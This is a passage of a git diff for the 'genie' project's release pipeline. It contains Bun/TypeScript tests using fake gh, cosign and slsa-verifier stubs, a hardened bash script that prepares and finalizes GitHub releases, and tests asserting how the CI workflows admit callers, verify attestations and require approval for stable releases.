run(state: FakeState, mutate?: (dist: string) => void) { + const root = mkdtempSync(join(tmpdir(), 'genie-release-assets-')); + roots.push(root); + const dist = join(root, 'dist'); + mkdirSync(dist); + for (const [name, contents] of Object.entries(localAssets())) writeFileSync(join(dist, name), contents); + mutate?.(dist); + + const statePath = join(root, 'state.json'); + writeFileSync(statePath, JSON.stringify({ controlSha: 'c'.repeat(40), ...state })); + const recordPrelude = ` +import { readFileSync, writeFileSync } from 'node:fs'; +const statePath = process.env.GH_FAKE_STATE; +const state = JSON.parse(readFileSync(statePath, 'utf8')); +const args = process.argv.slice(2); +state.calls ??= []; +const save = () => writeFileSync(statePath, JSON.stringify(state)); +const record = (tool) => { state.calls.push({ tool, args }); }; +const value = (flag) => { const index = args.indexOf(flag); return index >= 0 ? args[index + 1] : undefined; }; +`; + + writeFileSync( + join(root, 'gh'), + `#!/usr/bin/env bun +${recordPrelude} +import { basename, join } from 'node:path'; +import { mkdirSync, writeFileSync } from 'node:fs'; +record('gh'); +if (state.failOn && ('gh ' + args.join(' ')).includes(state.failOn)) { save(); process.exit(42); } +if (args[0] === 'release' && args[1] === 'view') { + const assets = state.remoteAssets ?? Object.keys(state.assets).map((name) => ({ name })); + console.log(JSON.stringify({ assets, isDraft: state.draft })); + save(); process.exit(0); +} +if (args[0] === 'release' && args[1] === 'download') { + const name = value('--pattern'); + const dir = value('--dir'); + if (!(name in state.assets)) { save(); process.exit(4); } + mkdirSync(dir, { recursive: true }); + writeFileSync(join(dir, name), state.assets[name]); + save(); process.exit(0); +} +if (args[0] === 'release' && args[1] === 'upload') { + if (args.includes('--clobber')) state.usedClobber = true; + const paths = []; + for (let index = 3; index < args.length; index += 1) { + if (args[index] === '--repo') { index += 1; continue; } + if (!args[index].startsWith('-')) paths.push(args[index]); + } + for (const path of paths) state.assets[basename(path)] = readFileSync(path, 'utf8'); + save(); process.exit(0); +} +if (args[0] === 'attestation' && args[1] === 'verify') { + const digest = value('--source-digest') ?? value('--signer-digest'); + if (digest && digest !== state.controlSha) { save(); process.exit(5); } + const sourceSha = state.invalidNative ? 'not-a-sha' : 'a'.repeat(40); + const predicateControlSha = digest && state.secondControlSha ? state.secondControlSha : state.controlSha; + const statement = { + predicateType: 'https://slsa.dev/provenance/v1', + predicate: { + runDetails: { builder: { id: 'https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@refs/heads/main' } }, + buildDefinition: { + buildType: 'https://github.com/automagik-dev/genie/release-tarballs@v1', + externalParameters: { + version: '${VERSION}', channel: 'dev', source_sha: sourceSha, source_branch: 'dev', + source_ci_run_id: '123', control_sha: predicateControlSha, + }, + resolvedDependencies: [ + { uri: 'git+https://github.com/automagik-dev/genie@refs/heads/dev', digest: { gitCommit: sourceSha } }, + { uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', digest: { gitCommit: predicateControlSha } }, + ], + }, + }, + }; + console.log(JSON.stringify([{ verificationResult: { statement } }])); + save(); process.exit(0); +} +save(); process.exit(2); +`, + ); + + writeFileSync( + join(root, 'cosign'), + `#!/usr/bin/env bun +${recordPrelude} +record('cosign'); +if (state.failOn && ('cosign ' + args.join(' ')).includes(state.failOn)) { save(); process.exit(42); } +save(); +`, + ); + + writeFileSync( + join(root, 'slsa-verifier'), + `#!/usr/bin/env bun +${recordPrelude} +record('slsa-verifier'); +if (state.failOn && ('slsa-verifier ' + args.join(' ')).includes(state.failOn)) { save(); process.exit(42); } +const headBranch = state.invalidGeneric ? 'main' : 'dev'; +console.log(JSON.stringify({ + predicateType: 'https://slsa.dev/provenance/v0.2', + predicate: { + builder: { id: 'https://github.com/slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@refs/tags/v2.1.0' }, + buildType: 'https://github.com/slsa-framework/slsa-github-generator/generic@v1', + invocation: { + configSource: { + uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', + digest: { sha1: state.controlSha }, + entryPoint: '.github/workflows/version.yml', + }, + environment: { + github_event_name: 'workflow_run', github_ref: 'refs/heads/main', github_sha1: state.controlSha, + github_event_payload: { workflow_run: { + id: 123, path: '.github/workflows/ci.yml', event: 'push', status: 'completed', conclusion: 'success', + head_branch: headBranch, repository: { full_name: 'automagik-dev/genie' }, + } }, + }, + }, + materials: [{ uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', digest: { sha1: state.controlSha } }], + }, +})); +save(); +`, + ); + for (const tool of ['gh', 'cosign', 'slsa-verifier']) chmodSync(join(root, tool), 0o755); + + const result = Bun.spawnSync(['bash', SCRIPT], { + cwd: root, + env: { + ...process.env, + PATH: `${root}:${process.env.PATH ?? ''}`, + GH_FAKE_STATE: statePath, + VERSION, + RELEASE_REPOSITORY: 'automagik-dev/genie', + DIST_DIR: dist, + }, + stdout: 'pipe', + stderr: 'pipe', + }); + return { result, state: JSON.parse(readFileSync(statePath, 'utf8')) as FakeState & { usedClobber?: boolean } }; +} + +function calls(state: FakeState, tool: string, command?: string): Array<{ tool: string; args: string[] }> { + return (state.calls ?? []).filter( + (call) => call.tool === tool && (!command || call.args.slice(0, 2).join(' ') === command), + ); +} + +describe('exact GitHub release asset reconciliation', () => { + test('uploads and byte-verifies all 12 assets into an empty draft without clobber', () => { + const { result, state } = run({ draft: true, assets: {} }); + expect(result.exitCode).toBe(0); + expect(Object.keys(state.assets).sort()).toEqual([...NAMES].sort()); + expect(calls(state, 'gh', 'release upload')).toHaveLength(1); + expect(state.usedClobber).not.toBe(true); + }); + + test('rejects missing and extra local inventory before any GitHub mutation', () => { + const missing = run({ draft: true, assets: {} }, (dist) => rmSync(join(dist, NAMES[0]))); + expect(missing.result.exitCode).toBe(3); + expect(calls(missing.state, 'gh')).toHaveLength(0); + + const extra = run({ draft: true, assets: {} }, (dist) => writeFileSync(join(dist, 'unexpected'), 'x')); + expect(extra.result.exitCode).toBe(3); + expect(calls(extra.state, 'gh')).toHaveLength(0); + }); + + test('rejects empty, symlinked, and directory local assets before GitHub mutation', () => { + const empty = run({ draft: true, assets: {} }, (dist) => writeFileSync(join(dist, NAMES[0]), '')); + expect(empty.result.exitCode).toBe(3); + expect(calls(empty.state, 'gh')).toHaveLength(0); + + const directory = run({ draft: true, assets: {} }, (dist) => { + rmSync(join(dist, NAMES[0])); + mkdirSync(join(dist, NAMES[0])); + }); + expect(directory.result.exitCode).toBe(3); + expect(calls(directory.state, 'gh')).toHaveLength(0); + + const symlink = run({ draft: true, assets: {} }, (dist) => { + rmSync(join(dist, NAMES[0])); + symlinkSync(join(dist, NAMES[1]), join(dist, NAMES[0])); + }); + expect(symlink.result.exitCode).toBe(3); + expect(calls(symlink.state, 'gh')).toHaveLength(0); + }); + + test('resumes a matching partial draft and refuses a mismatched partial draft', () => { + const local = localAssets(); + const matching = run({ + draft: true, + assets: Object.fromEntries(NAMES.slice(0, 2).map((name) => [name, local[name]])), + }); + expect(matching.result.exitCode).toBe(0); + expect(Object.keys(matching.state.assets)).toHaveLength(12); + + const mismatch = run({ draft: true, assets: { [NAMES[0]]: 'different' } }); + expect(mismatch.result.exitCode).toBe(3); + expect(mismatch.result.stderr.toString()).toContain('refusing to replace'); + expect(calls(mismatch.state, 'gh', 'release upload')).toHaveLength(0); + }); + + test('a complete draft must match the current run byte-for-byte', () => { + const draft = run({ draft: true, assets: localAssets('older-run') }); + expect(draft.result.exitCode).toBe(3); + expect(draft.result.stderr.toString()).toContain('complete draft assets differ'); + expect(calls(draft.state, 'gh', 'release upload')).toHaveLength(0); + }); + + test('reuses a complete published inventory only after pinned cryptographic verification', () => { + const publishedAssets = localAssets('published'); + const { result, state } = run({ draft: false, assets: publishedAssets }); + expect(result.exitCode).toBe(0); + expect(state.assets).toEqual(publishedAssets); + expect(calls(state, 'gh', 'release upload')).toHaveLength(0); + expect(calls(state, 'cosign')).toHaveLength(4); + expect(calls(state, 'slsa-verifier')).toHaveLength(4); + expect(calls(state, 'gh', 'attestation verify')).toHaveLength(8); + for (const secondPass of calls(state, 'gh', 'attestation verify').filter((_, index) => index % 2 === 1)) { + expect(secondPass.args).toContain('--source-digest'); + expect(secondPass.args).toContain('--signer-digest'); + } + }); + + test('never repairs a partial published release or accepts remote extras', () => { + const partial = run({ draft: false, assets: { [NAMES[0]]: localAssets()[NAMES[0]] } }); + expect(partial.result.exitCode).toBe(3); + expect(partial.result.stderr.toString()).toContain('incomplete published release'); + expect(calls(partial.state, 'gh', 'release upload')).toHaveLength(0); + + const extra = run({ draft: true, assets: { unexpected: 'x' } }); + expect(extra.result.exitCode).toBe(3); + expect(extra.result.stderr.toString()).toContain('unexpected assets'); + expect(calls(extra.state, 'gh', 'release upload')).toHaveLength(0); + }); + + test('rejects duplicate and malformed remote inventory before upload', () => { + const duplicate = run({ + draft: true, + assets: {}, + remoteAssets: [{ name: NAMES[0] }, { name: NAMES[0] }], + }); + expect(duplicate.result.exitCode).toBe(3); + expect(calls(duplicate.state, 'gh', 'release upload')).toHaveLength(0); + + const malformed = run({ draft: true, assets: {}, remoteAssets: [{ name: 7 }] }); + expect(malformed.result.exitCode).toBe(3); + expect(calls(malformed.state, 'gh', 'release upload')).toHaveLength(0); + }); + + test('propagates upload and verification failures', () => { + const upload = run({ draft: true, assets: {}, failOn: 'gh release upload' }); + expect(upload.result.exitCode).toBe(42); + + const verification = run({ draft: false, assets: localAssets('published'), failOn: 'cosign verify-blob' }); + expect(verification.result.exitCode).toBe(42); + expect(calls(verification.state, 'gh', 'release upload')).toHaveLength(0); + + const mismatchedSecondPass = run({ + draft: false, + assets: localAssets('published'), + secondControlSha: 'd'.repeat(40), + }); + expect(mismatchedSecondPass.result.exitCode).toBe(3); + expect(mismatchedSecondPass.result.stderr.toString()).toContain('control digest mismatch'); + + const genericPolicy = run({ draft: false, assets: localAssets('published'), invalidGeneric: true }); + expect(genericPolicy.result.exitCode).not.toBe(0); + expect(calls(genericPolicy.state, 'gh', 'release upload')).toHaveLength(0); + + const nativePolicy = run({ draft: false, assets: localAssets('published'), invalidNative: true }); + expect(nativePolicy.result.exitCode).not.toBe(0); + expect(calls(nativePolicy.state, 'gh', 'release upload')).toHaveLength(0); + }, 15_000); +}); diff --git a/scripts/reconcile-release-note.sh b/scripts/reconcile-release-note.sh index d6b05640e..c5eb32151 100755 --- a/scripts/reconcile-release-note.sh +++ b/scripts/reconcile-release-note.sh @@ -6,39 +6,96 @@ set -euo pipefail : "${CHANNEL:?CHANNEL is required}" RELEASE_REPOSITORY="${RELEASE_REPOSITORY:-${GITHUB_REPOSITORY:-}}" : "${RELEASE_REPOSITORY:?RELEASE_REPOSITORY or GITHUB_REPOSITORY is required}" +[[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]] || { + echo "invalid release version: ${VERSION}" >&2 + exit 2 +} +[[ "$RELEASE_REPOSITORY" =~ ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$ ]] || { + echo "invalid release repository: ${RELEASE_REPOSITORY}" >&2 + exit 2 +} +case "$CHANNEL" in + stable|homolog|dev) ;; + *) echo "invalid release channel: ${CHANNEL}" >&2; exit 2 ;; +esac DRAFT="${DRAFT:-false}" case "${DRAFT}" in true|false) ;; *) echo "invalid DRAFT value: ${DRAFT}" >&2; exit 2 ;; esac +MODE="${1:-}" +case "$MODE" in + prepare|finalize) ;; + *) echo "usage: reconcile-release-note.sh prepare|finalize" >&2; exit 64 ;; +esac MIGRATION_MARKER="" MIGRATION_NOTE=$'\n**One-time integration convergence:** when upgrading from a Genie release older than `5.260711.6` to `5.260711.6` or later, let the first command finish and run `genie update` once more explicitly. The newly installed binary preserves user-owned skills/agents and converges the plugin, hooks, and optional role agents. Confirm exactly H3/H4/H6, review changed hashes with `/hooks`, and start a new Codex task; SessionStart never performs this hop.' TAG="v${VERSION}" -if ! gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" >/dev/null 2>&1; then - notes="Release ${TAG} (channel: ${CHANNEL})" - notes+=$'\n\n' - notes+="${MIGRATION_NOTE}" - create_args=(release create "${TAG}" --repo "${RELEASE_REPOSITORY}" --title "${TAG}" --notes "${notes}") - [[ "${DRAFT}" == "true" ]] && create_args+=(--draft) - [[ "${CHANNEL}" != "stable" ]] && create_args+=(--prerelease) - gh "${create_args[@]}" +release_exists=false +if gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" >/dev/null 2>&1; then + release_exists=true fi -body="$(gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" --json body --jq '.body // ""')" -if [[ "${body}" != *"${MIGRATION_MARKER}"* ]]; then - [[ -z "${body}" ]] || body+=$'\n\n' - body+="${MIGRATION_NOTE}" - gh release edit "${TAG}" --repo "${RELEASE_REPOSITORY}" --notes "${body}" +# A stable release is monotonic. Replaying the same immutable version through a +# prerelease channel must never bypass production approval to demote the release +# or clobber its assets while latest.json still names it. +if [[ "${release_exists}" == "true" && "${CHANNEL}" != "stable" ]]; then + state="$(gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" --json isPrerelease,isDraft --jq '[.isPrerelease,.isDraft] | @tsv')" + IFS=$'\t' read -r is_prerelease is_draft <<<"${state}" + if [[ "${is_prerelease}" != "true" && "${is_draft}" != "true" ]]; then + echo "refusing to demote existing stable release ${TAG} through channel ${CHANNEL}" >&2 + exit 3 + fi fi -# Drafts cannot be latest. A stable re-dispatch promotes an existing -# prerelease; non-stable channels remain prereleases. +if [[ "$MODE" == "prepare" ]]; then + if [[ "${release_exists}" != "true" ]]; then + notes="Release ${TAG} (channel: ${CHANNEL})" + notes+=$'\n\n' + notes+="${MIGRATION_NOTE}" + create_args=(release create "${TAG}" --repo "${RELEASE_REPOSITORY}" --title "${TAG}" --notes "${notes}" --draft --latest=false --verify-tag) + [[ "${CHANNEL}" != "stable" ]] && create_args+=(--prerelease) + gh "${create_args[@]}" + fi + + body="$(gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" --json body --jq '.body // ""')" + if [[ "${body}" != *"${MIGRATION_MARKER}"* ]]; then + [[ -z "${body}" ]] || body+=$'\n\n' + body+="${MIGRATION_NOTE}" + gh release edit "${TAG}" --repo "${RELEASE_REPOSITORY}" --notes "${body}" + fi + exit 0 +fi + +[[ "$release_exists" == true ]] || { + echo "cannot finalize missing release ${TAG}; prepare and verify assets first" >&2 + exit 3 +} +body="$(gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" --json body --jq '.body // ""')" +[[ "$body" == *"${MIGRATION_MARKER}"* ]] || { + echo "cannot finalize ${TAG} without the reconciled migration note" >&2 + exit 3 +} + +# Drafts intentionally remain unpublished. Non-drafts are finalized only after +# exact remote asset verification, and are never selected as GitHub latest. +# Channel authority lives exclusively in the monotonic .well-known manifests. +# Once published, release assets and draft/prerelease/latest metadata are left +# untouched so repository-level immutable releases can enforce that boundary. if [[ "${DRAFT}" == "false" ]]; then - if [[ "${CHANNEL}" == "stable" ]]; then - gh release edit "${TAG}" --repo "${RELEASE_REPOSITORY}" --prerelease=false --latest - else - gh release edit "${TAG}" --repo "${RELEASE_REPOSITORY}" --prerelease=true --latest=false + final_state="$(gh release view "${TAG}" --repo "${RELEASE_REPOSITORY}" \ + --json databaseId,isDraft,isPrerelease --jq '[.databaseId,.isDraft,.isPrerelease] | @tsv')" + IFS=$'\t' read -r release_id is_draft is_prerelease <<<"$final_state" + [[ "$release_id" =~ ^[0-9]+$ && "$is_draft" =~ ^(true|false)$ && "$is_prerelease" =~ ^(true|false)$ ]] || { + echo "invalid release state for ${TAG}" >&2 + exit 3 + } + if [[ "$is_draft" == false ]]; then + echo "${TAG} is already published; preserving its immutable release metadata" + exit 0 fi + gh api -X PATCH "repos/${RELEASE_REPOSITORY}/releases/${release_id}" \ + -F draft=false -F "prerelease=${is_prerelease}" -f make_latest=false >/dev/null fi diff --git a/scripts/reconcile-release-note.test.ts b/scripts/reconcile-release-note.test.ts index 9fde6ece4..37419b05d 100644 --- a/scripts/reconcile-release-note.test.ts +++ b/scripts/reconcile-release-note.test.ts @@ -12,7 +12,9 @@ interface FakeReleaseState { calls?: string[][]; draft?: boolean; prerelease?: boolean; - latest?: boolean; + id?: number; + makeLatest?: string; + verifiedTag?: boolean; failOn?: string; } @@ -20,7 +22,11 @@ afterEach(() => { for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); }); -function run(state: FakeReleaseState, overrides: Record = {}) { +function run( + state: FakeReleaseState, + mode: 'prepare' | 'finalize' = 'prepare', + overrides: Record = {}, +) { const root = mkdtempSync(join(tmpdir(), 'genie-release-note-')); roots.push(root); const statePath = join(root, 'state.json'); @@ -38,27 +44,48 @@ state.calls.push(args); const save = () => writeFileSync(path, JSON.stringify(state)); const value = (flag) => { const index = args.indexOf(flag); return index >= 0 ? args[index + 1] : undefined; }; const assigned = (flag) => args.find((arg) => arg.startsWith(flag + '='))?.slice(flag.length + 1); +const field = (flag, name) => { + for (let index = 0; index < args.length - 1; index += 1) { + if (args[index] === flag && args[index + 1].startsWith(name + '=')) return args[index + 1].slice(name.length + 1); + } +}; if (state.failOn && args.join(' ').includes(state.failOn)) { save(); process.exit(42); } -if (args[0] !== 'release') { save(); process.exit(2); } -if (args[1] === 'view') { +if (args[0] === 'release' && args[1] === 'view') { if (!state.exists) { save(); process.exit(1); } - if (value('--json') === 'body') console.log(state.body ?? ''); + const json = value('--json'); + if (json === 'body') console.log(state.body ?? ''); + if (json === 'isPrerelease,isDraft') { + console.log(String(state.prerelease === true) + '\\t' + String(state.draft === true)); + } + if (json === 'databaseId,isDraft,isPrerelease') { + console.log(String(state.id ?? 101) + '\\t' + String(state.draft === true) + '\\t' + String(state.prerelease === true)); + } save(); process.exit(0); } -if (args[1] === 'create') { +if (args[0] === 'release' && args[1] === 'create') { state.exists = true; + state.id ??= 101; state.body = value('--notes') ?? ''; state.draft = args.includes('--draft'); state.prerelease = args.includes('--prerelease'); + state.makeLatest = assigned('--latest'); + state.verifiedTag = args.includes('--verify-tag'); save(); process.exit(0); } -if (args[1] === 'edit') { +if (args[0] === 'release' && args[1] === 'edit') { if (value('--notes') !== undefined) state.body = value('--notes'); - if (assigned('--prerelease') !== undefined) state.prerelease = assigned('--prerelease') === 'true'; - if (args.includes('--latest')) state.latest = true; - if (assigned('--latest') !== undefined) state.latest = assigned('--latest') === 'true'; + save(); + process.exit(0); +} +if (args[0] === 'api') { + const draft = field('-F', 'draft'); + const prerelease = field('-F', 'prerelease'); + const makeLatest = field('-f', 'make_latest'); + if (draft !== undefined) state.draft = draft === 'true'; + if (prerelease !== undefined) state.prerelease = prerelease === 'true'; + if (makeLatest !== undefined) state.makeLatest = makeLatest; save(); process.exit(0); } @@ -67,7 +94,7 @@ process.exit(2); `, ); chmodSync(ghPath, 0o755); - const result = Bun.spawnSync(['bash', SCRIPT], { + const result = Bun.spawnSync(['bash', SCRIPT, mode], { cwd: join(import.meta.dir, '..'), env: { ...process.env, @@ -89,16 +116,19 @@ process.exit(2); } describe('release migration-note reconciliation', () => { - test('creates a new release with one version-bounded migration note', () => { + test('prepare creates a verified-tag draft that is explicitly non-latest', () => { const { result, state } = run({ exists: false, body: '' }); expect(result.exitCode).toBe(0); expect(state.body.match(/genie-agent-sync-migration-v1/g)).toHaveLength(1); expect(state.body).toContain('older than `5.260711.6`'); + expect(state.draft).toBe(true); + expect(state.makeLatest).toBe('false'); + expect(state.verifiedTag).toBe(true); expect(state.calls?.filter((args) => args[1] === 'create')).toHaveLength(1); }); - test('preserves an existing human body and is idempotent', () => { - const first = run({ exists: true, body: 'Human-authored release notes.' }); + test('prepare preserves an existing human body and is idempotent', () => { + const first = run({ exists: true, body: 'Human-authored release notes.', draft: true }); expect(first.result.exitCode).toBe(0); expect(first.state.body).toStartWith('Human-authored release notes.'); expect(first.state.body.match(/genie-agent-sync-migration-v1/g)).toHaveLength(1); @@ -106,26 +136,106 @@ describe('release migration-note reconciliation', () => { const second = run(first.state); expect(second.result.exitCode).toBe(0); expect(second.state.body.match(/genie-agent-sync-migration-v1/g)).toHaveLength(1); - expect(second.state.calls?.filter((args) => args.includes('--notes'))).toHaveLength(1); + expect(second.state.calls?.filter((args) => args[1] === 'edit')).toHaveLength(1); }); - test('promotes stable releases and keeps non-stable releases prerelease', () => { - const stable = run({ exists: true, body: '', prerelease: true }); + test('finalize publishes stable and prerelease candidates without selecting either as latest', () => { + const stable = run( + { exists: true, id: 77, body: '', draft: true, prerelease: false }, + 'finalize', + ); expect(stable.result.exitCode).toBe(0); + expect(stable.state.draft).toBe(false); expect(stable.state.prerelease).toBe(false); - expect(stable.state.latest).toBe(true); + expect(stable.state.makeLatest).toBe('false'); const dev = run( - { exists: true, body: '', prerelease: false }, + { exists: true, id: 78, body: '', draft: true, prerelease: true }, + 'finalize', { CHANNEL: 'dev' }, ); expect(dev.result.exitCode).toBe(0); + expect(dev.state.draft).toBe(false); expect(dev.state.prerelease).toBe(true); - expect(dev.state.latest).toBe(false); + expect(dev.state.makeLatest).toBe('false'); + }); + + test('every promotion/replay preserves already-published release metadata', () => { + const stable = run( + { + exists: true, + id: 77, + body: '', + draft: false, + prerelease: false, + makeLatest: 'true', + }, + 'finalize', + ); + expect(stable.result.exitCode).toBe(0); + expect(stable.state.makeLatest).toBe('true'); + expect(stable.state.calls?.filter((args) => args[0] === 'api')).toHaveLength(0); + + const devToStable = run( + { + exists: true, + id: 78, + body: '', + draft: false, + prerelease: true, + makeLatest: 'false', + }, + 'finalize', + { CHANNEL: 'stable' }, + ); + expect(devToStable.result.exitCode).toBe(0); + expect(devToStable.state.prerelease).toBe(true); + expect(devToStable.state.makeLatest).toBe('false'); + expect(devToStable.state.calls?.filter((args) => args[0] === 'api')).toHaveLength(0); + }); + + test('DRAFT=true leaves the fully prepared release unpublished', () => { + const draft = run({ exists: true, body: '', draft: true }, 'finalize', { + DRAFT: 'true', + }); + expect(draft.result.exitCode).toBe(0); + expect(draft.state.draft).toBe(true); + expect(draft.state.calls?.filter((args) => args[0] === 'api')).toHaveLength(0); + }); + + test('refuses to replay an existing stable release through a prerelease channel', () => { + const dev = run( + { exists: true, body: '', prerelease: false, draft: false }, + 'prepare', + { CHANNEL: 'dev' }, + ); + expect(dev.result.exitCode).toBe(3); + expect(dev.result.stderr.toString()).toContain('refusing to demote existing stable release'); }); - test('propagates gh failures instead of reporting reconciliation success', () => { - const { result } = run({ exists: true, body: 'needs note', failOn: 'release edit' }); - expect(result.exitCode).toBe(42); + test('finalize refuses missing releases and missing reconciled notes', () => { + const missing = run({ exists: false, body: '' }, 'finalize'); + expect(missing.result.exitCode).toBe(3); + expect(missing.result.stderr.toString()).toContain('cannot finalize missing release'); + + const missingNote = run({ exists: true, body: 'human only', draft: true }, 'finalize'); + expect(missingNote.result.exitCode).toBe(3); + expect(missingNote.result.stderr.toString()).toContain('without the reconciled migration note'); + }); + + test('propagates GitHub API failures instead of reporting success', () => { + const edit = run({ exists: true, body: 'needs note', draft: true, failOn: 'release edit' }); + expect(edit.result.exitCode).toBe(42); + + const publish = run( + { + exists: true, + body: '', + draft: true, + failOn: 'api -X PATCH', + }, + 'finalize', + ); + expect(publish.result.exitCode).toBe(42); }); }); diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 4efcb32eb..ae8ea753a 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -45,6 +45,206 @@ function buildHelperInputs(): string[] { } describe('Group E release and documentation contracts', () => { + test('auto-version never executes dev-controlled code or accepts manual mutation', () => { + const workflow = read('.github/workflows/version.yml'); + expect(workflow).not.toContain('workflow_dispatch:'); + expect(workflow).toContain('persist-credentials: false'); + for (const forbidden of [ + 'bun install', + 'bun run version', + 'bunx ', + 'bun --print', + 'token: ${{ secrets.GITHUB_TOKEN }}', + ]) { + expect(workflow).not.toContain(forbidden); + } + for (const path of [ + 'package.json', + 'plugins/genie/.claude-plugin/plugin.json', + 'plugins/genie/.codex-plugin/plugin.json', + 'plugins/genie/package.json', + '.claude-plugin/marketplace.json', + 'plugins/hermes-genie/plugin.yaml', + ]) { + expect(workflow).toContain(path); + } + expect(workflow).toContain('git diff --cached --name-only'); + expect(workflow).toContain('git commit --no-verify'); + expect(workflow).toContain('git push --atomic origin "HEAD:refs/heads/dev"'); + expect(workflow).toContain('gh workflow run ci.yml --repo "${GITHUB_REPOSITORY}" --ref "v${VERSION}"'); + expect(workflow).not.toContain('gh workflow run ci.yml --repo "${GITHUB_REPOSITORY}" --ref dev'); + expect(workflow.indexOf('GH_TOKEN: ${{ github.token }}')).toBeGreaterThan( + workflow.indexOf('git commit --no-verify'), + ); + expect(read('.github/workflows/ci.yml')).toContain('workflow_dispatch:'); + }); + + test('privileged reusable workflows admit only the exact channel-specific main caller', () => { + for (const path of ['.github/workflows/sign-attest.yml', '.github/workflows/release-publish.yml']) { + const workflow = read(path); + expect(workflow).toContain('permissions: {}'); + expect(workflow).toContain( + 'EXPECTED_STABLE_CALLER: automagik-dev/genie/.github/workflows/release.yml@refs/heads/main', + ); + expect(workflow).toContain( + 'EXPECTED_AUTOMATED_CALLER: automagik-dev/genie/.github/workflows/version.yml@refs/heads/main', + ); + expect(workflow).toContain('EXPECTED_EVENT=workflow_dispatch'); + expect(workflow).toContain('EXPECTED_EVENT=workflow_run'); + expect(workflow).toContain('"$CALLER_REF" != refs/heads/main'); + expect(workflow).toContain('"$CALLER_WORKFLOW_REF" != "$EXPECTED_CALLER"'); + expect(workflow).toContain('"$CALLER_WORKFLOW_SHA" != "$CALLER_SHA"'); + expect(workflow).toContain('needs: admit'); + } + }); + + test('release stages consume only artifacts from their current orchestrator run', () => { + for (const path of ['.github/workflows/sign-attest.yml', '.github/workflows/release-publish.yml']) { + const workflow = read(path); + expect(workflow).toContain('actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093'); + for (const crossRunInput of ['github-token:', 'run-id:', 'steps.runid', 'steps.src.outputs.run_id']) { + expect(workflow).not.toContain(crossRunInput); + } + } + expect(read('.github/workflows/sign-attest.yml')).toContain('pattern: genie-*-tarball'); + expect(read('.github/workflows/release-publish.yml')).toContain('pattern: genie-*-signed'); + + const publishCall = read('.github/workflows/release.yml').split('\n publish:')[1]?.split('\n with:')[0]; + expect(publishCall).toBeDefined(); + expect(publishCall).not.toContain('actions: read'); + }); + + test('release attestations bind the built source and trusted control identities', () => { + const release = read('.github/workflows/release.yml'); + const signing = read('.github/workflows/sign-attest.yml'); + for (const input of ['channel', 'source_sha', 'source_branch', 'source_ci_run_id']) { + expect(release).toContain(`${input}: \${{ inputs.${input} }}`); + expect(signing).toContain(`--build-workflow-input "${input}=\${${input.toUpperCase()}}"`); + } + expect(signing).not.toContain('actions/attest-build-provenance@'); + expect(signing).toContain('actions/attest@67422f5511b7ff725f4dbd6fb9bd2cd925c65a8d'); + expect(signing).toContain('bash scripts/release-native-predicate.sh create'); + expect(signing).toContain('bash scripts/release-native-predicate.sh verify'); + expect(signing).toContain('bash scripts/release-generic-provenance.sh verify-exact'); + expect(signing).toContain('if [[ "$CHANNEL" == "stable" ]]'); + expect(read('scripts/release-generic-provenance.sh')).toContain( + "AUTOMATED_ENTRY_POINT='.github/workflows/version.yml'", + ); + expect(read('scripts/release-generic-provenance.sh')).toContain('workflow_run'); + expect(signing).toContain('--source-digest "$CONTROL_SHA"'); + expect(signing).toContain('--signer-workflow "${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml"'); + }); + + test('stable approval is explicit while dev and homolog remain automated', () => { + const release = read('.github/workflows/release.yml'); + const version = read('.github/workflows/version.yml'); + const manualInputs = release.split('workflow_dispatch:')[1]?.split('workflow_call:')[0] ?? ''; + const manualChannel = manualInputs.split('channel:')[1]?.split('source_sha:')[0] ?? ''; + expect(release).toContain('workflow_call:'); + expect(manualChannel).toContain('- stable'); + expect(manualChannel).not.toContain('- homolog'); + expect(manualChannel).not.toContain('- dev'); + expect(release).toContain('CALLER_WORKFLOW_REF: ${{ github.workflow_ref }}'); + expect(release).toContain('CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }}'); + expect(release).toContain('group: release-${{ inputs.version }}'); + expect(release).toContain('queue: max'); + expect(release).toContain('cancel-in-progress: false'); + expect(release).toContain('approve-stable:'); + expect(release).toContain("if: inputs.channel == 'stable'"); + expect(release).toContain('name: production'); + expect(release).toContain('needs: [guard, approve-stable]'); + expect(release).toContain("(inputs.channel != 'stable' || needs.approve-stable.result == 'success')"); + expect(release).not.toContain("&& 'production' || ''"); + expect(release).toContain('DISPATCH_ACTOR: ${{ github.actor }}'); + expect(release).toContain('TRIGGERING_ACTOR: ${{ github.triggering_actor }}'); + expect(release).toContain('RUN_ATTEMPT: ${{ github.run_attempt }}'); + + expect(version).toContain('release-trigger.stable_manual_approval_required'); + expect(version).toContain("steps.context.outputs.branch == 'main'"); + expect(version).toContain('uses: ./.github/workflows/release.yml'); + expect(version).toContain("if: needs.auto-version.outputs.release_ready == 'true'"); + expect(version).toContain('channel: ${{ needs.auto-version.outputs.channel }}'); + expect(version).not.toContain('gh workflow run release.yml'); + expect(version).not.toContain('CHANNEL="stable"'); + expect(version).not.toContain('--field channel=stable'); + + for (const path of ['.github/workflows/ci.yml', '.github/workflows/version.yml']) { + expect(read(path)).toContain('branches: [main, homolog, dev]'); + } + expect(read('.github/workflows/version.yml')).toContain( + "!contains(github.event.workflow_run.head_commit.message, '[release-manifest]')", + ); + }); + + test('promotion and tag equivalence exclude only generated channel manifests', () => { + for (const path of ['.github/workflows/version.yml', 'scripts/release-guard.sh']) { + const source = read(path); + expect(source).not.toContain("':(exclude).well-known'"); + for (const manifest of ['latest.json', 'homolog.json', 'dev.json']) { + expect(source).toContain(`':(exclude).well-known/${manifest}'`); + } + } + }); + + test('docs and commit lint use immutable actions and locked local tools', () => { + const commitlint = 